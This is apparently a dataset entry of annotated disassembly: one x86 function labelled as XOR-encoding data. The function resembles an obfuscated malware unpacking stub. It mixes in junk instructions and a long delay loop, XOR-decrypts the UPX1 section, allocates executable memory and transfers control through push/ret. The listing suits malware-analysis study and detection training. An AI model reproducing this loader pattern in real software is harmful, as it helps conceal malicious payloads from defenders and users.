Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xdc115a6
add ecx, ecx
add ecx, 0x666b1393
popal
add edx, edx
mov ecx, 0x5d8f0a78
mov edi, 0
mov eax, edx
not ecx
inc ecx
or ecx, esi
mov ebx, eax
and ecx, ecx
and esi, ecx
mov ecx, 0x695fc029
mov edx, ebx
sub esi, ecx
inc ecx
add esi, 0xa2dfb507
inc edi
sub esi, ecx
not ecx
cmp edi, 0x100303b
jne 0x47b44f
mov esi, 0x119b73a8
sub ecx, 0xa5ae565d
add esi, 0x287a169f
mov ecx, 0x5bdb90f5
inc ecx
mov esi, 0x47b21e
inc ebx
mov edi, ebx
mov edi, 0xfb922d21
mov eax, 0x47b412
sub ecx, 1
mov ecx, 0xa6702da6
inc ebx
mov edx, dword [esi]
add ebx, 0xb36c0cf9
inc ecx
and edx, 0xff
or ebx, ecx
sub ecx, edi
add ebx, 0xc9e0ffd4
xor dword [eax], edx
not edi
add edi, edi
inc eax
dec ecx
add ebx, ebx
inc esi
add edi, edi
add ecx, ecx
mov ecx, 0x465a01c7
cmp eax, entry0
jl 0x47b4b2
not ebx
sub ebx, 0x63b1c002
sub ecx, 0xd5914b18
not edi
or ecx, edi
inc edi
add edx, ebx
add ecx, ecx
mov esi, 0x47b416
sub ebx, 0x8359bc49
mov edx, ebx
or ebx, edi
mov esi, dword [esi]
mov edx, ecx
add edi, 1
mov ebx, 0xd5d62d6b
mov esi, dword [esi]
not ebx
mov ecx, edx
sub esp, 4
mov dword [esp], esi
or edx, ecx
sub edi, edx
mov esi, 0x47b412
or edx, edi
add edx, edx
sub edi, ecx
mov esi, dword [esi]
add edx, ebx
add edx, 0x2adee291
mov edi, ecx
mov esi, dword [esi]
sub ebx, edi
add edi, 1
push 0x47b41a
sub edi, ebx
sub edx, 0x64d53fba
call esi
mov edi, ebx
mov ebx, 0x413a286a
sub edx, ebx
pop esi
inc ebx
add edx, 0x74463731
and ecx, edi
push 0x47b427
not edi
mov edi, ecx
push eax
mov ecx, 0xe9ca4485
add ebx, 0xb47a0a24
call esi
sub edi, edx
sub edi, ecx
push 0x40
sub edx, 1
mov edi, 0xd784592d
inc ecx
push 0x3000
add ebx, edi
and ecx, edx
add edx, edx
push 0x2000076b
add ebx, 0x93e7a8fc
sub edi, 1
push 0
and ebx, edx
sub ebx, edi
call eax
add ebx, ecx
and edx, ebx
sub ecx, 0xccbe4eb7
add eax, 0x20000701
add ebx, ebx
add edx, 0x4275b75d
or edx, ebx
mov esi, 0x630ea483
sub ebx, 0xa40fcac4
sub edx, ecx
inc ecx
mov dword [eax], esi
add ecx, ebx
not edx
and edx, ebx
mov esi, dword [eax]
mov edi, 0x21e24a4a
sub ecx, 0x94e48cb0
or edi, ecx
cmp esi, 0x630ea483
je 0x47b614
mov edx, 0
mov ebx, dword [edx]
or ecx, ebx
inc ebx
add edx, edi
and ecx, ecx
add edx, 0x843ea06f
mov edx, ecx
sub edx, 0x5823b707
mov ebx, section.UPX1
mov ecx, edx
mov ecx, edx
inc edx
mov eax, 0x47b21d
dec ecx
not edx
mov edi, 0
dec edx
sub ecx, edx
mov esi, 0x47b21e
inc edx
and ecx, ecx
lea esi, [esi + edi]
dec edx
mov edx, ecx
mov esi, dword [esi]
mov edx, ecx
sub edx, ecx
and esi, 0xff
sub ecx, edx
sub edx, 0xa5500669
inc edi
add edx, ecx
inc ecx
cmp edi, 0x1f4
jne 0x47b676
mov edi, 0
add edx, 0xe52187cb
add edx, ecx
dec ecx
not edx
sub edx, ecx
xor dword [ebx], esi
mov edx, ecx
not edx
add edx, ecx
add ebx, 2
mov ecx, 0x47704de2
inc ecx
cmp ebx, eax
jl 0x47b643
not ecx
add ecx, edx
add edx, 0xf7547132
dec ecx
sub ecx, 1
mov ecx, 0xe5644502
mov edi, section.UPX1
mov ebx, 0xda0b847d
sub ebx, 0x59924a90
and esi, esi
mov ecx, section.UPX1
sub ebx, 0xfbc57fdf
and ebx, esi
mov eax, 0x47b21d
add esi, 0xe9962387
and esi, ebx
add esi, ebx
mov edx, 0
add ebx, ebx
sub esi, ebx
and esi, esi
mov dl, byte [ecx]
mov ebx, esi
sub esi, 0x81c37767
mov byte [edi], dl
sub esi, ebx
add esi, esi
inc edi
mov ebx, 0x1f54563e
or esi, ebx
add ecx, 2
mov ebx, esi
inc ebx
cmp ecx, eax
jle 0x47b6ee
sub ebx, 0x6bd76aa7
mov ebx, esi
sub ecx, 0x379f7bc4
mov ecx, edx
push 0x45e6a0
dec ecx
sub edx, 1
ret